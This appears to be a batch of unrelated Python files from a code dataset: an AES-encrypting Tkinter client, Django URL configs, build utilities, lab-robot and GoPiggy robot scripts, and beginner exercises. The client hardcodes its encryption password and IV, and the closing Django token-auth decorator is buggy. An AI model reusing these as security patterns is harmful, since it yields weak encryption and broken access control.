padmetSpec.generateFile(new_padmet)\n with open(new_padmet, 'r') as f:\n data = f.read()\n for k,v in update_dict.iteritems():\n data = data.replace(k,v)\n with open(new_padmet, 'w') as f:\n f.write(data)\n \n\nif __name__ == \"__main__\":\n main()","sub_path":"misc/change_compart.py","file_name":"change_compart.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"200544169","text":"import pandas as pd\nimport hashlib\nimport socket\nimport base64\nfrom Crypto.Cipher import AES\nfrom Crypto import Random\nfrom tkinter import *\nimport sys\nsys.path.append('../../Resources')\nimport file_path\n\nHOST = '127.0.0.1'\nPORT = 12345\n\nfile = pd.read_csv(file_path.FILE_PATH)\n\nBG = \"antiquewhite1\"\nBG_top = \"peach puff\"\n\ndef sysExit():\n\tsys.exit(\"Client terminated.\")\n\ndef verifyClient():\n\trow = int(row_num.get())\n\trow_info = str(file.saddr[row]) + str(file.sport[row]) + str(file.daddr[row]) + str(file.dport[row])\n\n\tBLOCK_SIZE = 16\n\tpad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)\n\tunpad = lambda s: s[:-ord(s[len(s) - 1:])]\n\n\tpassword = str(1111) #Random password\n\n\tplaintext = row_info + \"sha256\"\t# SHA256 because AES takes only 32 bytes as key; SHA512 have been used for final ciphertext hash\n\n\tprivate_key = hashlib.sha256(password.encode(\"utf-8\")).digest()\n\traw = pad(plaintext)\n\tiv = b\"ClZ\\xb6\\x92\\xb5\\xc3\\xac\\x87\\x03x\\x80t'\\xfa#\"\n\tcipher = AES.new(private_key[:64], AES.MODE_CBC, iv)\n\tciphertext = base64.b64encode(iv + cipher.encrypt(raw))\n\n\tciphertext_hash = hashlib.sha512((plaintext).encode('utf-8')).hexdigest()\n\tmsg = str(ciphertext)[2:len(ciphertext)+2] + str(ciphertext_hash) + \"sha512\" + str(row) + str(len(str(row)))\n\n\ttop = Toplevel()\n\ttop.title('IOT Flow Data with Hash - Client')\n\ttop.attributes('-topmost', 1)\n\ttop.attributes('-topmost', 0)\n\tw, h = top.winfo_screenwidth(), root.winfo_screenheight()\n\tw1, h1 = w / 2 - 20, h - 300\n\tsw, sh = w / 2 + 5, 125\n\ttop.geometry(\"%dx%d+%d+%d\" % (w1, h1, sw, sh))\n\ttop.resizable(0, 0)\n\ttop.configure(bg = BG)\n\n\tLabel(top, text = 'Plaintext:', font = ('Arial Bold', 10), bg = BG_top).place(x = 0, y = 40, width = w1, height = 20)\n\tLabel(top, text = plaintext, font = ('Courier', 8), bg = BG).place(x = 0, y = 70, width = w1, height = 15)\n\tLabel(top, text = 'Ciphertext:', font = ('Arial Bold', 10), bg = BG_top).place(x = 0, y = 95, width = w1, height = 20)\n\tLabel(top, text = ciphertext, wraplength = 450, font = ('Courier', 8), bg = BG).place(x = 0, y = 125, width = w1, height = 30)\n\tLabel(top, text = 'Ciphertext Hash:', font = ('Arial Bold', 10), bg = BG_top).place(x = 0, y = 165, width = w1, height = 20)\n\tLabel(top, text = ciphertext_hash, font = ('Courier', 8), bg = BG, wraplength = 450).place(x = 0, y = 195, width = w1, height = 30)\n\tLabel(top, text = 'Generated message:', font = ('Arial Bold', 10), bg = BG_top).place(x = 0, y = 230, width = w1, height = 20)\n\tLabel(top, text = msg, wraplength = 450, font = ('Courier', 8), bg = BG).place(x = 0, y = 260, width = w1, height = 50)\n\n\ts.send(msg.encode())\n\treply = s.recv(1024)\n\treplytxt = str(reply)[2:-1]\n\n\tif(replytxt[0] == 'A'):\n\t\tlblfg = \"green\"\n\telse:\n\t\tlblfg = \"red\"\n\n\tLabel(top, text = replytxt, font = ('Segoe UI', 15), fg = lblfg, bg = BG).place(x = 0, y = 350, width = w1, height = 30)\n\tButton(top, text = 'Close', command = top.destroy, bg = BG, fg = \"red\", font = (\"Segoe UI Light\", 12)).place(x = w1 / 2 - 100, y = 400, width = 200, height = 30)\n\n\ttop.mainloop()\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n\ts.connect((HOST, PORT))\n\thost = socket.gethostname()\n\thn = str(socket.gethostbyname(host))\n\thostname = []\n\tc = 0\n\twhile hn[c] != '.':\n\t\thostname.append(hn[c])\n\t\tc += 1\n\thostname += ['.xxx.xxx.']\n\thostname += hn[-3:]\n\thostname = ''.join(hostname)\n\n\troot = Tk()\n\troot.title('IOT Flow Data with Hash - Client')\n\troot.attributes('-topmost', 1)\n\troot.attributes('-topmost', 0)\n\tw, h = root.winfo_screenwidth(), root.winfo_screenheight()\n\tw1, h1 = w / 2 - 10, h - 250\n\tsw, sh = w / 2, 100\n\troot.geometry(\"%dx%d+%d+%d\" % (w1, h1, sw, sh))\n\troot.resizable(0, 0)\n\troot.configure(bg = BG)\n\n\tLabel(root, text = \"Authentication of IoT Flow Records\", font = (\"Verdana Bold\", 24), bg = \"white\", fg = \"gray25\").place(x = 0, y = 0, width = w1, height = 90)\n\tLabel(root, text = \"Secured with AES and Hash\", font = (\"Courier\", 12), bg = \"white\", fg = \"gray25\").place(x = 0, y = 60, width = w1, height = 40)\n\tLabel(root, text = \"Welcome user!\", font = (\"Arial Bold\", 12), bg = BG).place(x = 120, y = 120, width = 120, height = 20)\n\n\tLabel(root, text = \"Client Details\", font = (\"Arial Bold\", 12), bg = BG).place(x = 0, y = 150, width = w1, height = 20)\n\tLabel(root, text = \"Host Name\", font = (\"Arial\", 12), justify = \"right\", bg = BG).place(x = w1 / 2 - 110, y = 180, width = 90, height = 20)\n\tLabel(root, text = \":\", font = (\"Arial\", 12), justify = \"center\", bg = BG).place(x = w1 / 2, y = 180, width = 10, height = 20)\n\tLabel(root, text = host, font = (\"Courier\", 12), justify = \"left\", bg = BG).place(x = w1 / 2 + 30, y = 180, width = 70, height = 20)\n\tLabel(root, text = \"Host IP Address\", font = (\"Arial\", 12), justify = \"right\", bg = BG).place(x = w1 / 2 - 145, y = 205, width = 125, height = 20)\n\tLabel(root, text = \":\", font = (\"Arial\", 12), justify = \"center\", bg = BG).place(x = w1 / 2, y = 205, width = 10, height = 20)\n\tLabel(root, text = hostname, font = (\"Courier\", 12), justify = \"left\", bg = BG).place(x = w1 / 2 + 30, y = 205, width = 160, height = 20)\n\tLabel(root, text = \"Port Number\", font = (\"Arial\", 12), justify = \"right\", bg = BG).place(x = w1 / 2 - 120, y = 230, width = 100, height = 20)\n\tLabel(root, text = \":\", font = (\"Arial\", 12), justify = \"center\", bg = BG).place(x = w1 / 2, y = 230, width = 10, height = 20)\n\tLabel(root, text = PORT, font = (\"Courier\", 12), justify = \"left\", bg = BG).place(x = w1 / 2 + 30, y = 230, width = 60, height = 20)\n\n\tLabel(root, text = \"File Read\", font = (\"Arial\", 12), justify = \"right\", bg = BG).place(x = w1 / 2 - 100, y = 260, width = 80, height = 20)\n\tLabel(root, text = \":\", font = (\"Arial\", 12), justify = \"center\", bg = BG).place(x = w1 / 2, y = 260, width = 10, height = 20)\n\tLabel(root, text = file_path.FILE_PATH[-28:], font = (\"Courier\", 10), justify = \"left\", bg = BG).place(x = w1 / 2 + 20, y = 260, width = 250, height = 20)\n\n\tLabel(root, text = 'Connected to server', font = (\"Arial Bold\", 12), bg = BG).place(x = w1 / 2 - 75, y = 300, width = 160, height = 20)\n\tLabel(root, text = \"Select row number\", font = (\"Arial\", 12), bg = BG).place(x = w1 / 2 - 160, y = 340, width = 145, height = 20)\n\tLabel(root, text = \":\", font = (\"Arial\", 12), justify = \"center\", bg = BG).place(x = w1 / 2, y = 340, width = 10, height = 20)\n\trow_num = Spinbox(root, from_ = 0, to = len(file) - 1, font = (\"Arial\", 12), justify = \"center\")\n\trow_num.place(x = w1 / 2 + 30, y = 335, width = 50, height = 30)\t# Seperate grid() to be able to collect value in variable\n\tbtn = Button(root, text = 'VERIFY', command = verifyClient, bg = \"gray25\", fg = \"white\", font = (\"Segoe UI Light\", 15))\n\tbtn.place(x = w1 / 2 - 50, y = 380, width = 100, height = 40)\n\tbtn = Button(root, text = 'Terminate Client', command = sysExit, bg = BG, fg = \"red\", font = (\"Segoe UI Light\", 12))\n\tbtn.place(x = w1 / 2 - 100, y = 440, width = 200, height = 30)\n\n\troot.mainloop()","sub_path":"Symm/GUI/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":6898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"480822002","text":"from django.conf.urls import url\n\nfrom . import views\n\napp_name = \"score\"\nurlpatterns = [\n # ex: /score/foods\n url(r'^foods/$', views.FoodsView.as_view(), name='foods'),\n # ex: /score/foods/5/\n url(r'^foods/(?P[0-9]+)/$', views.DetailView.as_view(), name='food_detail'),\n # ex: /score/foods/5/\n url(r'^foods/(?P[0-9]+)/score/$', views.score, name='score'),\n]\n","sub_path":"score/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"519034192","text":"from math import ceil\nimport re\nfrom datetime import datetime\nfrom subprocess import Popen\n\ndef filereplace(filename, outfilename=None, **kwargs):\n \"\"\"Reads `filename`, replaces all {variables} in kwargs, and writes the result to `outfilename`.\n \"\"\"\n if outfilename is None:\n outfilename = filename\n fp = open(filename, 'rt', encoding='utf-8')\n contents = fp.read()\n fp.close()\n # We can't use str.format() because in some files, there might be {} characters that mess with it.\n for key, item in kwargs.items():\n contents = contents.replace('{{{}}}'.format(key), item)\n fp = open(outfilename, 'wt', encoding='utf-8')\n fp.write(contents)\n fp.close()\n\nSIZE_DESC = ('B','KB','MB','GB','TB','PB','EB','ZB','YB')\nSIZE_VALS = tuple(1024 ** i for i in range(1,9))\ndef format_size(size, decimal=0, forcepower=-1, showdesc=True):\n \"\"\"Transform a byte count in a formatted string (KB, MB etc..).\n\n size is the number of bytes to format.\n decimal is the number digits after the dot.\n forcepower is the desired suffix. 0 is B, 1 is KB, 2 is MB etc.. if kept at -1, the suffix will\n be automatically chosen (so the resulting number is always below 1024).\n if showdesc is True, the suffix will be shown after the number.\n \"\"\"\n if forcepower < 0:\n i = 0\n while size >= SIZE_VALS[i]:\n i += 1\n else:\n i = forcepower\n if i > 0:\n div = SIZE_VALS[i-1]\n else:\n div = 1\n format = '%%%d.%df' % (decimal,decimal)\n negative = size < 0\n divided_size = ((0.0 + abs(size)) / div)\n if decimal == 0:\n divided_size = ceil(divided_size)\n else:\n divided_size = ceil(divided_size * (10 ** decimal)) / (10 ** decimal)\n if negative:\n divided_size *= -1\n result = format % divided_size\n if showdesc:\n result += ' ' + SIZE_DESC[i]\n return result\n\ndef flatten(iterables, start_with=None):\n '''Takes a list of lists 'lists' and returns a list containing elements of every list.\n\n If start_with is not None, the result will start with start_with items, exactly as if\n start_with would be the first item of lists.\n '''\n result = []\n if start_with:\n result.extend(start_with)\n for iterable in iterables:\n result.extend(iterable)\n return result\n\nre_changelog_header = re.compile(r'=== ([\\d.b]*) \\(([\\d\\-]*)\\)')\ndef read_changelog_file(filename):\n def iter_by_three(it):\n while True:\n version = next(it)\n date = next(it)\n description = next(it)\n yield version, date, description\n\n with open(filename, 'rt', encoding='utf-8') as fp:\n contents = fp.read()\n splitted = re_changelog_header.split(contents)[1:] # the first item is empty\n # splitted = [version1, date1, desc1, version2, date2, ...]\n result = []\n for version, date_str, description in iter_by_three(iter(splitted)):\n date = datetime.strptime(date_str, '%Y-%m-%d').date()\n d = {'date': date, 'date_str': date_str, 'version': version, 'description': description.strip()}\n result.append(d)\n return result\n\ndef rem_file_ext(filename):\n \"\"\"Returns the filename without extension.\"\"\"\n pos = filename.rfind('.')\n if pos > -1:\n return filename[:pos]\n else:\n return filename\n\ndef print_and_do(cmd):\n \"\"\"Prints ``cmd`` and executes it in the shell.\n \"\"\"\n print(cmd)\n p = Popen(cmd, shell=True)\n return p.wait()\n\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"260192046","text":"from opentrons import robot, containers, instruments\nimport pandas as pd\nimport argparse\n\n# Load our files\nparser = argparse.ArgumentParser(description=\"Run a DNA build on an Opentrons OT-1 robot.\")\n#parser.add_argument('-l', '--layout', required=True, help=\"A CSV file describing the layout of the sourcep plates.\")\nparser.add_argument('-b', '--build-plan', required=True, help=\"A CSV file describing the build plan.\")\nargs = parser.parse_args()\n\n#layout = pd.read_csv(args.layout) # Use plate-loc-resuspend-sm.csv\n#layout = layout.set_index('Position').to_dict()['Name'] # Turn into a location->name dict\n\nplan = pd.read_csv(args.build_plan, usecols=['Plate','Well','Volume']) # Used testing/plate-yield.csv\n\n# Configure the robot\n\n# Layout:\n# A B C D E\n# 3 trash master source source p10\n# 2 p200 dest source source p10\n# 1 p200 dest source source p10\n#\n\n# Connect to OT-1\n\nport = robot.get_serial_ports_list()[0]\nprint(\"Connecting robot to port {}\".format(port))\nrobot.connect(port)\n\nrobot.home()\n\n\np200_tipracks = [\n containers.load('tiprack-200ul', 'A3'),\n]\n\np10_tipracks = [\n containers.load('tiprack-10ul', 'E2'),\n]\n\np10s_tipracks = [\n containers.load('tiprack-10ul', 'E3'),\n]\n\ntrash = containers.load('point', 'B1', 'holywastedplasticbatman')\nmaster = containers.load('PCR-strip-tall', 'C3')\n\ncentrifuge_tube = containers.load('tube-rack-2ml','A1')\n\nsource_plates = containers.load('96-flat', 'D2')\n\ndest_plates = [\n containers.load('96-flat', 'C2')\n]\n\np10 = instruments.Pipette(\n axis='a',\n max_volume=10,\n min_volume=0.5,\n tip_racks=p10_tipracks,\n trash_container=trash,\n channels=8,\n name='p10-8'\n)\n\np10s = instruments.Pipette(\n axis='a',\n max_volume=10,\n min_volume=0.5,\n tip_racks=p10_tipracks,\n trash_container=trash,\n channels=1,\n name='p10-8s'\n)\n\np200 = instruments.Pipette(\n axis='b',\n max_volume=200,\n min_volume=20,\n tip_racks=p200_tipracks,\n trash_container=trash,\n channels=1,\n name='p200-1'\n)\n\n# Run the protocol\n\n# Load plates to be resuspended\n\n# Add water to all of the wells\n\n#p200.pick_up_tip()\n#p200.distribute(\n# [30,60,90],\n# centrifuge_tube['A1'].bottom(),\n# source_plates.wells(['B2','B3','B4']),\n# disposal_vol=10\n#)\n#plan = pd.DataFrame({\n# 'Plate':[source_plates,source_plates,source_plates],\n# 'Well':['A1','A2','A6'],\n# 'Volume':[30,60,90]})\n\np200.pick_up_tip()\n#p200.aspirate(40,centrifuge_tube['A1'].bottom())\n#p200.dispense(source_plates.wells('A2')) #plan['Plate'][i].wells(plan['Well'][i]))\n#p200.return_tip()\n\n\nfor i in range(0,len(plan)):\n print(\"Resuspending well {} on plate {} with {}ul\".format(plan['Well'][i], plan['Plate'][i], plan['Volume'][i]))\n #p200.pick_up_tip()\n p200.aspirate(plan['Volume'][i],centrifuge_tube['A1'].bottom())\n p200.dispense(plan['Plate'][i].wells(plan['Well'][i])) #plan['Plate'][i].wells(plan['Well'][i]))\n p200.blow_out()\n #p200.return_tip()\n\n# p200.distribute(\n# plan['Volume'][i],\n# centrifuge_tube['A1'].bottom(),\n# plan['Plate'][i].wells(plan['Well'][i]),\n# disposal_vol=10\n# )\n \n#p200.distribute(\n# plan['Volume'],\n# centrifuge_tube['A1'].bottom(),\n# plan['Plate'].wells(plan['Well']),\n# disposal_vol=10\n#)\n\n\n\nprint(robot.commands())\n\n","sub_path":"pipeline/testing/ot-test-distribute.py","file_name":"ot-test-distribute.py","file_ext":"py","file_size_in_byte":3464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"240992539","text":"# Editor: aaaasubing\n# DevelopmentTime: 2021/4/27 20:15\nclass Student: # Student为类名,由一个或者多个单词组成,要求每个单词首字母大写,其余小写\n native_place = '吉林' # 直接写在类中的变量,称为类属性\n\n # 初始化方法\n def __init__(self, name, age):\n self.name = name # self.name为实例属性,进行了赋值操作,将局部变量name的值赋值给实体属性\n self.age = age\n\n # 实例方法(在类之外定义的是函数,在类之内定义的是方法)\n def eat(self):\n print('学生在吃饭')\n\n # 静态方法\n @staticmethod\n def method(): # 不写self\n print('我使用了静态方法')\n\n # 类方法\n @classmethod\n def cm(cls):\n print('我使用了类方法')\n\n\n# 类属性的使用方式\nprint(Student.native_place)\nstu1 = Student('张三', 20)\nstu2 = Student('李四', 30)\nprint(stu1.native_place)\nprint(stu2.native_place)\n\nStudent.native_place = '天津'\nprint(stu1.native_place)\nprint(stu2.native_place)\n\n# 类方法的使用方式\nStudent.cm()\n\n# 静态方法的使用方式\nStudent.method()\n","sub_path":"chap12/类属性、类方法、静态方法的使用方式.py","file_name":"类属性、类方法、静态方法的使用方式.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"21465146","text":"# -*- coding: utf-8 -*-\n\nBOT_NAME = 'elib'\n\nSPIDER_MODULES = ['elib.spiders']\nNEWSPIDER_MODULE = 'elib.spiders'\n\nITEM_PIPELINES = {\n 'elib.pipelines.Postgres': 100\n} \n\nDOWNLOADER_MIDDLEWARES = {\n 'scrapy.contrib.downloadermiddleware.useragent.UserAgentMiddleware': None,\n 'elib.middlewares.RotateUserAgentMiddleware':400,\n}\n\nKEYWORDS = [\n '银监'#, '银行', '工行', '农行', '建行', '中行', '信用社', '信用联社','农信社','农商行', '城商行', '贷款', '存款', '取款', 'ATM', '信用卡'\n]\n\n","sub_path":"crawler/elib/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"103704532","text":"import pigo\nimport time # import just in case students need\nimport datetime\nimport random\n\n# setup logs\nimport logging\nLOG_LEVEL = logging.INFO\nLOG_FILE = \"/home/pi/PnR-Final/log_robot.log\" # don't forget to make this file!\nLOG_FORMAT = \"%(asctime)s %(levelname)s %(message)s\"\nlogging.basicConfig(filename=LOG_FILE, format=LOG_FORMAT, level=LOG_LEVEL)\n\n\nclass Piggy(pigo.Pigo):\n \"\"\"Student project, inherits teacher Pigo class which wraps all RPi specific functions\"\"\"\n\n def __init__(self):\n \"\"\"The robot's constructor: sets variables and runs menu loop\"\"\"\n print(\"I have been instantiated!\")\n self.start_time = datetime.datetime.utcnow()\n # Our servo turns the sensor. What angle of the servo( ) method sets it straight?\n self.MIDPOINT = 77\n # YOU DECIDE: How close can an object get (cm) before we have to stop?\n self.SAFE_STOP_DIST = 30\n self.HARD_STOP_DIST = 15\n # YOU DECIDE: What left motor power helps straighten your fwd()?\n self.LEFT_SPEED = 140\n # YOU DECIDE: What left motor power helps straighten your fwd()?\n self.RIGHT_SPEED = 140\n # This one isn't capitalized because it changes during runtime, the others don't\n self.turn_track = 0\n # Our scan list! The index will be the degree and it will store distance\n self.scan = [None] * 180\n self.set_speed(self.LEFT_SPEED, self.RIGHT_SPEED)\n # let's use an event-driven model, make a handler of sorts to listen for \"events\"\n while True:\n self.stop()\n self.menu()\n\n def menu(self):\n \"\"\"Displays menu dictionary, takes key-input and calls method\"\"\"\n ## This is a DICTIONARY, it's a list with custom index values\n # You may change the menu if you'd like to add an experimental method\n menu = {\"n\": (\"Navigate forward\", self.nav),\n \"d\": (\"Dance\", self.smooth_turn),\n \"o\": (\"Obstacle Count\", self.full_obstacle_count),\n \"c\": (\"Calibrate\", self.calibrate),\n \"t\": (\"Test restore heading\", self.test_restore_heading),\n \"s\": (\"Check status\", self.status),\n \"q\": (\"Quit\", quit_now),\n \"2\": (\"Second nav method attempt\", self.nav_two),\n \"3\": (\"Third nav method attempt\", self.nav_three)\n }\n\n # loop and print the menu...\n for key in sorted(menu.keys()):\n print(key + \":\" + menu[key][0])\n # store the user's answer\n ans = raw_input(\"Your selection: \")\n # activate the item selected\n menu.get(ans, [None, error])[1]()\n\n # YOU DECIDE: How does your GoPiggy dance?\n def cotton_eye_joe(self):\n \"\"\"executes a series of methods that add up to a compound dance\"\"\"\n print(\"\\n---- LET'S DANCE ----\\n\")\n ##### WRITE YOUR FIRST PROJECT HERE\n if self.safety_check():\n print(\"About to dance\")\n self.shake_left()\n self.heel()\n self.shake_right()\n self.toe()\n self.pause()\n self.look_forward()\n self.walk_to_right()\n self.turn_to_left()\n self.shake_left()\n self.shake_right()\n self.look_forward()\n self.swing()\n self.ending_flourish()\n\n def safety_check(self):\n self.servo(self.MIDPOINT) # look straight ahead\n for loop in range(9):\n if not self.is_clear():\n print(\"NOT GOING TO DANCE\")\n return False\n self.encR(4)\n print (\"Check #%d\" % (loop + 1)) # figure out 90 deg\n print(\"Safe to dance!\")\n return True\n\n def shake_right(self):\n \"\"\"subroutine of dance method\"\"\"\n for x in range(3):\n self.servo(20)\n self.servo(50)\n self.servo(20)\n\n def shake_left(self):\n \"\"\"subroutine of dance method\"\"\"\n for x in range(3):\n self.servo(130)\n self.servo(100)\n self.servo(130)\n\n def heel(self):\n \"\"\"subroutine of dance method\"\"\"\n # makes the robot go forward\n for x in range (3):\n self.encF(2)\n\n def toe(self):\n \"\"\"subroutine of dance method\"\"\"\n # makes the robot go backwards\n for x in range(3):\n self.encB(2)\n\n def walk_to_right(self):\n \"\"\"subroutine of dance method\"\"\"\n #turn to right and go forward\n for x in range(1):\n self.encR(8)\n self.encF(30)\n\n def turn_to_left(self):\n \"\"\"subroutine of dance method\"\"\"\n #turns 180, goes forward\n for x in range(4):\n self.encL(27)\n self.encF(20)\n\n def pause(self):\n \"\"\"subroutine of dance method\"\"\"\n time.sleep(2)\n\n def look_forward(self):\n \"\"\"subroutine of dance method\"\"\"\n self.servo(77)\n\n def ending_flourish(self):\n \"\"\"subroutine of dance method\"\"\"\n #spin around multiple times\n for x in range(3):\n self.encR(27)\n print(\"Thank you for watching\")\n\n def swing(self):\n \"\"\"subroutine of dance method\"\"\"\n #turns slightly to the left as head turns right, then turns to right as head turns left\n for x in range(3):\n self.encR(6)\n self.servo(20)\n self.encL(6)\n self.servo(100)\n\n def restore_heading(self):\n \"\"\"\n Uses self.turn_track to reorient to original heading\n \"\"\"\n print(\"Restoring heading!\")\n if self.turn_track > 0:\n self.encL(abs(self.turn_track))\n elif self.turn_track < 0:\n self.encR(abs(self.turn_track))\n\n def test_restore_heading(self):\n self.set_speed(100, 100)\n self.encR(5)\n self.encL(15)\n self.encR(10)\n self.encR(10)\n self.encL(7)\n time.sleep(2)\n self.restore_heading()\n\n def nav(self):\n \"\"\"auto pilots and attempts to maintain original heading\"\"\"\n logging.debug(\"Starting the nav method\")\n print(\"-----------! NAVIGATION ACTIVATED !------------\\n\")\n print(\"-------- [ Press CTRL + C to stop me ] --------\\n\")\n print(\"-----------! NAVIGATION ACTIVATED !------------\\n\")\n #right_now = datetime.datetime.utcnow()\n #difference = (right_now - self.start_time).seconds\n #print (\"It took you %d seconds to run this\" % difference)\n self.servo(self.MIDPOINT)\n #I want to make a smarter, shorter nav method\n while True:\n #if path is clear, robot will cruise\n self.restore_heading()\n if self.is_clear():\n print(\"Path is clear, moving forward.\")\n self.nav_cruise()\n else:\n print(\"Path is not clear, turning left.\")\n self.check_left()\n if self.is_clear():\n #if path after turning left is clear, robot will cruise\n self.nav_cruise()\n else:\n #if path after turning left is not clear, robot will turn left one more time to check\n self.check_left()\n if self.is_clear():\n self.nav_cruise()\n else:\n # if path after turning left is not clear, robot will turn left one more time to check\n self.check_left()\n if self.is_clear():\n self.nav_cruise()\n else:\n #if path after checking left twice is not clear, robot will return to midpoint\n print(\"Path to the left is not clear, turning to midpoint.\")\n self.restore_heading()\n time.sleep(2)\n if self.is_clear():\n print(\"Path is clear, moving forward.\")\n self.nav_cruise()\n else:\n #if midpoint is not clear, robot will turn right and check\n print(\"Path is not clear, turning right.\")\n self.check_right()\n if self.is_clear():\n self.nav_cruise()\n else:\n #if path after turning right is not clear, robot will turn right and check\n self.check_right()\n if self.is_clear():\n self.nav_cruise()\n else:\n #if path after turning right is not clear, robot will turn right one more time\n self.check_right()\n if self.is_clear():\n self.nav_cruise()\n else:\n #if path after turning left twice is not clear, robot will back up\n print(\"Paths are not clear, backing up.\")\n self.restore_heading()\n self.encB(5)\n\n def nav_two(self):\n #second attempt at a nav method\n #similar to old nav method but cleaner\n logging.debug(\"Starting the nav method\")\n print(\"-----------! NAVIGATION ACTIVATED !------------\\n\")\n self.servo(self.MIDPOINT)\n #I want to make a smarter method so that it does a full rotation, looks for widest open area while its rotating, and then picks an area that is large enough to fit through and is closest to its original heading\n while True:\n for x in range(2):\n if self.is_clear():\n #if space is clear, robot will move forward\n print(\"I have found an open area.\")\n self.nav_cruise()\n #I wish the robot could check its shoulders while it is moving\n for x in range(3):\n #turn left and cruise if open\n self.encL(3)\n if self.is_clear():\n print(\"I have found an open area to the left.\")\n self.nav_cruise()\n print(\"Turning back to center.\")\n time.sleep(2)\n self.restore_heading()\n for x in range(3):\n #turn right and cruise if open\n self.encR(3)\n if self.is_clear():\n print(\"I have found an open area to the right.\")\n self.nav_cruise()\n self.restore_heading()\n for x in range(1):\n #backs up if none of the above are clear\n self.encB(5)\n time.sleep(2)\n\n def nav_three(self):\n logging.debug(\"Starting the nav method\")\n print(\"-----------! NAVIGATION ACTIVATED !------------\\n\")\n self.servo(self.MIDPOINT)\n #I want to make a smarter method so that it does a full rotation, looks for widest open area while its rotating, and then picks an area that is large enough to fit through and is closest to its original heading\n while True:\n self.nav_cruise()\n if self.dist() < self.HARD_STOP_DIST:\n print(\"I have found an open area.\")\n self.stop()\n #I wish the robot could check its shoulders while it is moving\n while self.dist() < self.SAFE_STOP_DIST:\n self.encL(3)\n while self.dist() > self.SAFE_STOP_DIST:\n print(\"---------------I have found an open area.---------------\")\n self.nav_cruise()\n self.restore_heading()\n \n def smart_cruise(self):\n if self.is_clear():\n self.servo(self.MIDPOINT)\n self.cruise()\n\n def check_right(self):\n self.servo(self.MIDPOINT)\n self.encR(4)\n time.sleep(1)\n\n def check_left(self):\n self.servo(self.MIDPOINT)\n self.encL(4)\n time.sleep(1)\n\n def nav_cruise(self):\n self.servo(self.MIDPOINT)\n self.cruise()\n\n def smooth_turn(self):\n self.encR()\n start = datetime.datetime.utcnow()\n while True:\n if self.dist() > 50:\n self.stop()\n print(\"I think I've found a good path.\")\n elif datetime.datetime.utcnow() - start > datetime.timedelta(seconds=1):\n self.stop()\n print(\"I give up.\")\n time.sleep(.2)\n\n def cruise(self):\n \"\"\"drive straight while path is clear\"\"\"\n print(\"about to drive forward\")\n self.fwd()\n while self.dist() > self.SAFE_STOP_DIST:\n time.sleep(.05)\n self.stop()\n\n def full_obstacle_count(self):\n counter = 0\n for x in range(4):\n counter += self.obstacle_count()\n self.encR(8)\n print(\"\\n-------I see %d object(s) total------\\n\" % counter)\n\n def obstacle_count(self):\n \"\"\"scans and estimates the number of obstacles within sight\"\"\"\n for x in range(65, 115):\n self.wide_scan(count=5)\n found_something = False\n counter = 0\n threshold = 60\n for self.scan[x] in self.scan:\n if self.scan[x] and self.scan[x] < threshold and not found_something:\n found_something = True\n counter += 1\n print(\"Object #%d found, I think\" % counter)\n if self.scan[x] and self.scan[x] > threshold and found_something:\n found_something = False\n print(\"\\n-------I see %d object(s)------\\n\" % counter)\n return counter\n\n####################################################\n############### STATIC FUNCTIONS\n\ndef error():\n \"\"\"records general, less specific error\"\"\"\n logging.error(\"ERROR\")\n print('ERROR')\n\ndef quit_now():\n \"\"\"shuts down app\"\"\"\n raise SystemExit\n\n##################################################################\n######## The app starts right here when we instantiate our GoPiggy\n\n\ntry:\n g = Piggy()\nexcept (KeyboardInterrupt, SystemExit):\n pigo.stop_now()\nexcept Exception as ee:\n logging.error(ee.__str__())\n","sub_path":"student.py","file_name":"student.py","file_ext":"py","file_size_in_byte":14539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"494618595","text":"katok = ['다현', '정연', '쯔위', '사나', '지효']\n\ndef delete_data_after(position):\n if position <= 0 or position + 1 > len(katok):\n print(\"데이터를 삭제할 범위를 벗어났습니다.\")\n return\n\n klen = len(katok)\n katok[position] = None\n\n for h in range(klen - position):\n for i in range(position + 1, klen):\n katok[i - 1] = katok[i]\n katok[i] = None\n\n del(katok[klen - 1])\n klen -= 1\n\ndelete_data_after(1)\nprint(katok)\ndelete_data_after(1)\nprint(katok)","sub_path":"4week/Self Study 3-1.py","file_name":"Self Study 3-1.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"621042952","text":"from movie.models import User\r\nfrom django.http import JsonResponse\r\nimport time\r\nfrom django.shortcuts import HttpResponse\r\n\r\n#登陆装饰器\r\ndef tokenauth(func):\r\n def auth(request,*args,**kwargs):\r\n token = request.META.get('HTTP_TOKEN','')\r\n if token:\r\n try:\r\n user = User.objects.get(user_md5=token)\r\n except User.DoesNotExist:\r\n result = {'code': 1, 'msg': '无效的token', 'data': ''}\r\n jsonresponse = JsonResponse(result)\r\n jsonresponse.status_code = 401\r\n return jsonresponse\r\n if int(user.updatetime-time.time) > 60*30:\r\n result = {'code': 1, 'msg': 'token已过期', 'data': ''}\r\n jsonresponse = JsonResponse(result)\r\n jsonresponse.status_code = 401\r\n return JsonResponse\r\n user.objects.update(updatetime=time.time())\r\n func(request,*args,**kwargs)\r\n result = {'code': 1, 'msg': '无效token', 'data': ''}\r\n jsonresponse = JsonResponse(result)\r\n jsonresponse.status_code = 401\r\n print(jsonresponse.content)\r\n print(jsonresponse)\r\n return jsonresponse\r\n return 